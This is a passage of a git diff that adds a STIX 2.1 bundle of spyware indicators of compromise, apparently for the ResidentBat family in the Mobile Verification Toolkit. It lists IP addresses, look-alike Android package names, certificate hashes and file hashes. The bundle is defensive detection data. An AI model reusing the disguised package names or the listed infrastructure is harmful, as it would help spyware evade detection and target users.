+ "relationship_type": "indicates", + "source_ref": "indicator--99330b3d-fbb7-4208-9efd-cb63e7886085", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--152c5fda-a74b-45cc-8b63-8a94a03c4807", + "created": "2025-12-17T08:41:10.175048Z", + "modified": "2025-12-17T08:41:10.175048Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='5.253.61.156']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.175048Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1ee02114-b382-4005-9de4-4a5a7d6b4235", + "created": "2025-12-17T08:41:10.175399Z", + "modified": "2025-12-17T08:41:10.175399Z", + "relationship_type": "indicates", + "source_ref": "indicator--152c5fda-a74b-45cc-8b63-8a94a03c4807", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cac2dc14-a9e0-4cab-97b2-0f7d5be2ec64", + "created": "2025-12-17T08:41:10.175522Z", + "modified": "2025-12-17T08:41:10.175522Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='79.132.136.191']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.175522Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--89fab1b1-3b56-4705-92db-6b510807b272", + "created": "2025-12-17T08:41:10.176063Z", + "modified": "2025-12-17T08:41:10.176063Z", + "relationship_type": "indicates", + "source_ref": "indicator--cac2dc14-a9e0-4cab-97b2-0f7d5be2ec64", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--be7ae4a6-283e-46fc-a5b3-45c98b2446df", + "created": "2025-12-17T08:41:10.176215Z", + "modified": "2025-12-17T08:41:10.176215Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='188.120.230.46']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.176215Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7991e12a-bfd4-4620-9c50-371890f82841", + "created": "2025-12-17T08:41:10.176625Z", + "modified": "2025-12-17T08:41:10.176625Z", + "relationship_type": "indicates", + "source_ref": "indicator--be7ae4a6-283e-46fc-a5b3-45c98b2446df", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a7a4b136-05fd-45b5-ab0b-7a6408763dde", + "created": "2025-12-17T08:41:10.176762Z", + "modified": "2025-12-17T08:41:10.176762Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='91.240.87.211']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.176762Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--730f8a1f-05ff-4203-95a7-acf25a95b64a", + "created": "2025-12-17T08:41:10.177156Z", + "modified": "2025-12-17T08:41:10.177156Z", + "relationship_type": "indicates", + "source_ref": "indicator--a7a4b136-05fd-45b5-ab0b-7a6408763dde", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--64ec98cd-492a-457f-9ce3-e09757fdbc62", + "created": "2025-12-17T08:41:10.177277Z", + "modified": "2025-12-17T08:41:10.177277Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='37.46.133.87']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.177277Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7cd2b889-bd14-4bc7-8c90-82ef42b9b35f", + "created": "2025-12-17T08:41:10.177649Z", + "modified": "2025-12-17T08:41:10.177649Z", + "relationship_type": "indicates", + "source_ref": "indicator--64ec98cd-492a-457f-9ce3-e09757fdbc62", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--14c1de07-174c-4391-bc57-555def276e9e", + "created": "2025-12-17T08:41:10.177785Z", + "modified": "2025-12-17T08:41:10.177785Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='91.192.102.69']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.177785Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9de671b5-94fa-4ce1-88b4-1ee884af11fd", + "created": "2025-12-17T08:41:10.178204Z", + "modified": "2025-12-17T08:41:10.178204Z", + "relationship_type": "indicates", + "source_ref": "indicator--14c1de07-174c-4391-bc57-555def276e9e", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ba8421e1-de5c-4339-9006-b6bbb71ad11f", + "created": "2025-12-17T08:41:10.178361Z", + "modified": "2025-12-17T08:41:10.178361Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='91.107.122.180']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.178361Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4a7824a9-4c82-4c2a-8c42-24e03e3f921f", + "created": "2025-12-17T08:41:10.178812Z", + "modified": "2025-12-17T08:41:10.178812Z", + "relationship_type": "indicates", + "source_ref": "indicator--ba8421e1-de5c-4339-9006-b6bbb71ad11f", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--57c2bb19-67d9-453d-9e9e-cd1bbbf20d0c", + "created": "2025-12-17T08:41:10.178964Z", + "modified": "2025-12-17T08:41:10.178964Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='91.228.152.4']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.178964Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1f0b9456-b5d2-4860-bf37-1d9e57e146b2", + "created": "2025-12-17T08:41:10.179345Z", + "modified": "2025-12-17T08:41:10.179345Z", + "relationship_type": "indicates", + "source_ref": "indicator--57c2bb19-67d9-453d-9e9e-cd1bbbf20d0c", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6e032327-1822-451a-b497-550dbf1405af", + "created": "2025-12-17T08:41:10.179485Z", + "modified": "2025-12-17T08:41:10.179485Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='82.146.35.54']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.179485Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba6d96ec-d382-4ac9-8ac2-6669fe703a01", + "created": "2025-12-17T08:41:10.179917Z", + "modified": "2025-12-17T08:41:10.179917Z", + "relationship_type": "indicates", + "source_ref": "indicator--6e032327-1822-451a-b497-550dbf1405af", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--56ad9ed3-3fce-4224-b99f-87b567b3fd8c", + "created": "2025-12-17T08:41:10.180083Z", + "modified": "2025-12-17T08:41:10.180083Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='5.253.63.176']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.180083Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1a62a2cb-39cc-4c45-99a4-b9dd52bfdd3d", + "created": "2025-12-17T08:41:10.180483Z", + "modified": "2025-12-17T08:41:10.180483Z", + "relationship_type": "indicates", + "source_ref": "indicator--56ad9ed3-3fce-4224-b99f-87b567b3fd8c", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--592ab55d-a298-4445-ac24-0afcb6b76138", + "created": "2025-12-17T08:41:10.180645Z", + "modified": "2025-12-17T08:41:10.180645Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='62.109.26.144']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.180645Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--241235e0-1e81-4f6c-a563-b2f03049e993", + "created": "2025-12-17T08:41:10.181011Z", + "modified": "2025-12-17T08:41:10.181011Z", + "relationship_type": "indicates", + "source_ref": "indicator--592ab55d-a298-4445-ac24-0afcb6b76138", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7305e576-2fc5-400b-b42f-8d6ea46255ec", + "created": "2025-12-17T08:41:10.181141Z", + "modified": "2025-12-17T08:41:10.181141Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.oneplussync.bat']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.181141Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9ff009fe-c52b-430e-b149-6e3bd93c945f", + "created": "2025-12-17T08:41:10.182151Z", + "modified": "2025-12-17T08:41:10.182151Z", + "relationship_type": "indicates", + "source_ref": "indicator--7305e576-2fc5-400b-b42f-8d6ea46255ec", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2b62cfe3-8c3b-45e1-999f-53ba1c988aa9", + "created": "2025-12-17T08:41:10.182287Z", + "modified": "2025-12-17T08:41:10.182287Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='cm.google.android.apps.assistant']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.182287Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1226225b-43e5-40de-852d-9be45acec40c", + "created": "2025-12-17T08:41:10.182826Z", + "modified": "2025-12-17T08:41:10.182826Z", + "relationship_type": "indicates", + "source_ref": "indicator--2b62cfe3-8c3b-45e1-999f-53ba1c988aa9", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--39402239-c764-4a79-bd5a-731061115fef", + "created": "2025-12-17T08:41:10.182958Z", + "modified": "2025-12-17T08:41:10.182958Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.huaweisettingsapp.mkz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.182958Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--21389874-3b9b-4877-a82b-c6c77954dad4", + "created": "2025-12-17T08:41:10.183427Z", + "modified": "2025-12-17T08:41:10.183427Z", + "relationship_type": "indicates", + "source_ref": "indicator--39402239-c764-4a79-bd5a-731061115fef", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--05f09781-b5bb-4bc9-9b10-e66d32de77d8", + "created": "2025-12-17T08:41:10.183548Z", + "modified": "2025-12-17T08:41:10.183548Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.google.bat']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.183548Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--954bbb55-6c14-4bec-ba6e-97aa798395a8", + "created": "2025-12-17T08:41:10.183947Z", + "modified": "2025-12-17T08:41:10.183947Z", + "relationship_type": "indicates", + "source_ref": "indicator--05f09781-b5bb-4bc9-9b10-e66d32de77d8", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--786ca94c-10ae-43d5-9954-21da512ebec3", + "created": "2025-12-17T08:41:10.184072Z", + "modified": "2025-12-17T08:41:10.184072Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.android.framework.safety']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.184072Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--676274f4-c11b-4a5a-a749-cde518caa69a", + "created": "2025-12-17T08:41:10.18447Z", + "modified": "2025-12-17T08:41:10.18447Z", + "relationship_type": "indicates", + "source_ref": "indicator--786ca94c-10ae-43d5-9954-21da512ebec3", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f9ba90d8-a118-48b3-b062-23475ad29d1d", + "created": "2025-12-17T08:41:10.184616Z", + "modified": "2025-12-17T08:41:10.184616Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.hihonor.core.service']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.184616Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--46168edc-8a10-4732-b705-9e7058dbb310", + "created": "2025-12-17T08:41:10.185026Z", + "modified": "2025-12-17T08:41:10.185026Z", + "relationship_type": "indicates", + "source_ref": "indicator--f9ba90d8-a118-48b3-b062-23475ad29d1d", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--98ab976b-1d2a-4085-bf77-4898d2467393", + "created": "2025-12-17T08:41:10.18515Z", + "modified": "2025-12-17T08:41:10.18515Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.google.android.service']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.18515Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1aa7a395-2521-49b3-9ad5-cc8b8f5c5cb1", + "created": "2025-12-17T08:41:10.185509Z", + "modified": "2025-12-17T08:41:10.185509Z", + "relationship_type": "indicates", + "source_ref": "indicator--98ab976b-1d2a-4085-bf77-4898d2467393", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94e7e69f-e19f-4fd3-8789-a137aed0871a", + "created": "2025-12-17T08:41:10.18566Z", + "modified": "2025-12-17T08:41:10.18566Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:id='com.linkedln.service']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.18566Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2153ca1f-fedf-4cb5-beee-10c8427b341b", + "created": "2025-12-17T08:41:10.186025Z", + "modified": "2025-12-17T08:41:10.186025Z", + "relationship_type": "indicates", + "source_ref": "indicator--94e7e69f-e19f-4fd3-8789-a137aed0871a", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f1b57662-45a7-4604-99fd-8cfba03c0605", + "created": "2025-12-17T08:41:10.186155Z", + "modified": "2025-12-17T08:41:10.186155Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:cert.sha256='d12616542268d32329f1c4357b5d5a57e954e13d2338d27bb8439794291b8c6d']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.186155Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e2297cd3-b8b2-4c98-a91f-82fb98faaccd", + "created": "2025-12-17T08:41:10.187747Z", + "modified": "2025-12-17T08:41:10.187747Z", + "relationship_type": "indicates", + "source_ref": "indicator--f1b57662-45a7-4604-99fd-8cfba03c0605", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--88edf9bf-a4f1-4104-b1e1-0c8d4d17b130", + "created": "2025-12-17T08:41:10.187893Z", + "modified": "2025-12-17T08:41:10.187893Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:cert.sha256='6d6278ffc80ad9dd1b1c6b445847ce108f3ea5ce349f232689e9b8c1fd10801e']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.187893Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0cc73f9a-9f0c-4616-8271-f21879424dc9", + "created": "2025-12-17T08:41:10.188319Z", + "modified": "2025-12-17T08:41:10.188319Z", + "relationship_type": "indicates", + "source_ref": "indicator--88edf9bf-a4f1-4104-b1e1-0c8d4d17b130", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3f279e2b-9541-4e9d-a018-3082b9ccc7b5", + "created": "2025-12-17T08:41:10.188442Z", + "modified": "2025-12-17T08:41:10.188442Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:cert.sha256='a6a067b0d899fb514b7b4597d4fe16fcd4d7e5c361f6c84b3d45ed7e394036c7']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.188442Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a5a4fabc-78bb-4223-b950-8b4a7af6a239", + "created": "2025-12-17T08:41:10.188944Z", + "modified": "2025-12-17T08:41:10.188944Z", + "relationship_type": "indicates", + "source_ref": "indicator--3f279e2b-9541-4e9d-a018-3082b9ccc7b5", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--80ccdd8e-08d1-43be-a446-ed67b6b8cf3c", + "created": "2025-12-17T08:41:10.189084Z", + "modified": "2025-12-17T08:41:10.189084Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:cert.sha256='e5016f3cfb937d502dabedc32ca3bdef3bbcce032fb3b1bff3b9c6482895f4fd']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.189084Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--89aba112-aeab-4d95-9cd1-7df10533a026", + "created": "2025-12-17T08:41:10.189546Z", + "modified": "2025-12-17T08:41:10.189546Z", + "relationship_type": "indicates", + "source_ref": "indicator--80ccdd8e-08d1-43be-a446-ed67b6b8cf3c", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--16c04af7-0295-4e77-8d6d-82389e43fac4", + "created": "2025-12-17T08:41:10.189719Z", + "modified": "2025-12-17T08:41:10.189719Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:cert.sha256='3e9f1192e33cb851b48479629c93d29770a4f76af00f1e42a3c6e7f97db62c79']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.189719Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1d3333ac-3ec9-4012-a0ac-1133c6efc37b", + "created": "2025-12-17T08:41:10.190163Z", + "modified": "2025-12-17T08:41:10.190163Z", + "relationship_type": "indicates", + "source_ref": "indicator--16c04af7-0295-4e77-8d6d-82389e43fac4", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ba24a08e-d17d-4568-8cbc-9503fdb37fcd", + "created": "2025-12-17T08:41:10.190292Z", + "modified": "2025-12-17T08:41:10.190292Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:cert.sha256='18afc5c6bfaee504a26291f6bf3e6f823dbedd54bba0c4acac2e7c2414b3e24d']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.190292Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--796f156a-bedc-45d6-b722-6448c35c6627", + "created": "2025-12-17T08:41:10.190971Z", + "modified": "2025-12-17T08:41:10.190971Z", + "relationship_type": "indicates", + "source_ref": "indicator--ba24a08e-d17d-4568-8cbc-9503fdb37fcd", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4a9bc997-fec2-478c-870d-ad8710447bfb", + "created": "2025-12-17T08:41:10.191108Z", + "modified": "2025-12-17T08:41:10.191108Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:cert.sha256='6782039a81a85264acdc6af0973b225ada6009f76faae7f948a1de040bb32f0c']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.191108Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6bab0558-a8d6-4699-8e88-447e55ad2280", + "created": "2025-12-17T08:41:10.191516Z", + "modified": "2025-12-17T08:41:10.191516Z", + "relationship_type": "indicates", + "source_ref": "indicator--4a9bc997-fec2-478c-870d-ad8710447bfb", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d9514530-ce0b-4d17-8c2a-4c7a59095f43", + "created": "2025-12-17T08:41:10.191678Z", + "modified": "2025-12-17T08:41:10.191678Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[app:cert.sha256='c1884e617348ebbdfe7cfe5fc99945b37296d6ebc6059bb74fbaeea277d32941']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.191678Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8acaeb71-d8b1-4486-ae1d-9f53eed0f446", + "created": "2025-12-17T08:41:10.192107Z", + "modified": "2025-12-17T08:41:10.192107Z", + "relationship_type": "indicates", + "source_ref": "indicator--d9514530-ce0b-4d17-8c2a-4c7a59095f43", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d8335be9-7d20-4709-ba21-a3f428e6dd2b", + "created": "2025-12-17T08:41:10.192229Z", + "modified": "2025-12-17T08:41:10.192229Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='77126e749a9c1144ae3cebb8deb0b72fc90d4eb73d1072a69a1248b4f518bb47']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.192229Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4a8c5639-5efe-4a70-84b6-dfff1e51ba95", + "created": "2025-12-17T08:41:10.193064Z", + "modified": "2025-12-17T08:41:10.193064Z", + "relationship_type": "indicates", + "source_ref": "indicator--d8335be9-7d20-4709-ba21-a3f428e6dd2b", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1454e589-7723-4815-9509-5434d5442bc9", + "created": "2025-12-17T08:41:10.193199Z", + "modified": "2025-12-17T08:41:10.193199Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='fe05ba40f2d4b15db83524c169d030d097abc6713139ce6068969d97a24aa195']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.193199Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f235c4fc-05ca-44e1-93e0-c71d34a85996", + "created": "2025-12-17T08:41:10.193692Z", + "modified": "2025-12-17T08:41:10.193692Z", + "relationship_type": "indicates", + "source_ref": "indicator--1454e589-7723-4815-9509-5434d5442bc9", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--13058e22-57bc-406e-ac42-b4a688981d04", + "created": "2025-12-17T08:41:10.193826Z", + "modified": "2025-12-17T08:41:10.193826Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='02dc81ea172e45f0a6fd7241fffd1042f6925c52d2f91dee36085634207be4f1']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.193826Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bc82a793-2af2-4194-94bb-3d23d235b54c", + "created": "2025-12-17T08:41:10.19428Z", + "modified": "2025-12-17T08:41:10.19428Z", + "relationship_type": "indicates", + "source_ref": "indicator--13058e22-57bc-406e-ac42-b4a688981d04", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9dc62e2f-3f85-45f8-80a3-4010748bb6cc", + "created": "2025-12-17T08:41:10.194414Z", + "modified": "2025-12-17T08:41:10.194414Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='48e87bfcaa665bfbfcb027227384905878f090bbc19d02f74c41ade3cafb0950']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.194414Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--93843379-1364-49fd-89ce-647e1825d78f", + "created": "2025-12-17T08:41:10.194929Z", + "modified": "2025-12-17T08:41:10.194929Z", + "relationship_type": "indicates", + "source_ref": "indicator--9dc62e2f-3f85-45f8-80a3-4010748bb6cc", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--971b7c26-0c44-4a7b-ac19-edeb42522e9b", + "created": "2025-12-17T08:41:10.195062Z", + "modified": "2025-12-17T08:41:10.195062Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='c3b92d05b105465881c0f68f5cf6c3edb24d2e5317ffd1256cb68c7921fe0721']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.195062Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e2ec5d47-088a-476b-83e8-8e466ccb87b7", + "created": "2025-12-17T08:41:10.195496Z", + "modified": "2025-12-17T08:41:10.195496Z", + "relationship_type": "indicates", + "source_ref": "indicator--971b7c26-0c44-4a7b-ac19-edeb42522e9b", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c9ca46c3-ff11-4967-b2db-41d552a31f37", + "created": "2025-12-17T08:41:10.195653Z", + "modified": "2025-12-17T08:41:10.195653Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='07d39205f9ba159236477a02cdb3350fac4f158e0dbf26576bb50604339b1f42']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.195653Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--341a9442-e05f-410c-a1a1-7fb5c1a82ac0", + "created": "2025-12-17T08:41:10.196112Z", + "modified": "2025-12-17T08:41:10.196112Z", + "relationship_type": "indicates", + "source_ref": "indicator--c9ca46c3-ff11-4967-b2db-41d552a31f37", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bddd887d-c850-438a-a680-e691b85f2cfc", + "created": "2025-12-17T08:41:10.196239Z", + "modified": "2025-12-17T08:41:10.196239Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='0ed73428c7729806be57989f340a09a323af914f197cc0cbb5509316ca5baf7b']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.196239Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3232d278-c578-4a37-9319-543067913b8d", + "created": "2025-12-17T08:41:10.196724Z", + "modified": "2025-12-17T08:41:10.196724Z", + "relationship_type": "indicates", + "source_ref": "indicator--bddd887d-c850-438a-a680-e691b85f2cfc", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--297726f8-222c-46b2-ae76-c2ddc1c3d3ca", + "created": "2025-12-17T08:41:10.196856Z", + "modified": "2025-12-17T08:41:10.196856Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='820c394b22b950335eb5cf21bc7df5c7a33081169f41440c74d67e7a8f196960']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-12-17T08:41:10.196856Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e7c5ce94-0c29-4da1-8b50-d4a2923b177f", + "created": "2025-12-17T08:41:10.197273Z", + "modified": "2025-12-17T08:41:10.197273Z", + "relationship_type": "indicates", + "source_ref": "indicator--297726f8-222c-46b2-ae76-c2ddc1c3d3ca", + "target_ref": "malware--b939e7ad-9889-41ba-9288-eddf13b779db" + } + ] +} \ No newline at end of file diff --git a/data/ioc/spyware/mvt/ResidentBat/sha256.txt b/data/ioc/spyware/mvt/ResidentBat/sha256.txt new file mode 100644 index 0000000..e138642 --- /dev/null +++ b/data/ioc/spyware/mvt/ResidentBat/sha256.txt @@ -0,0 +1,9 @@ 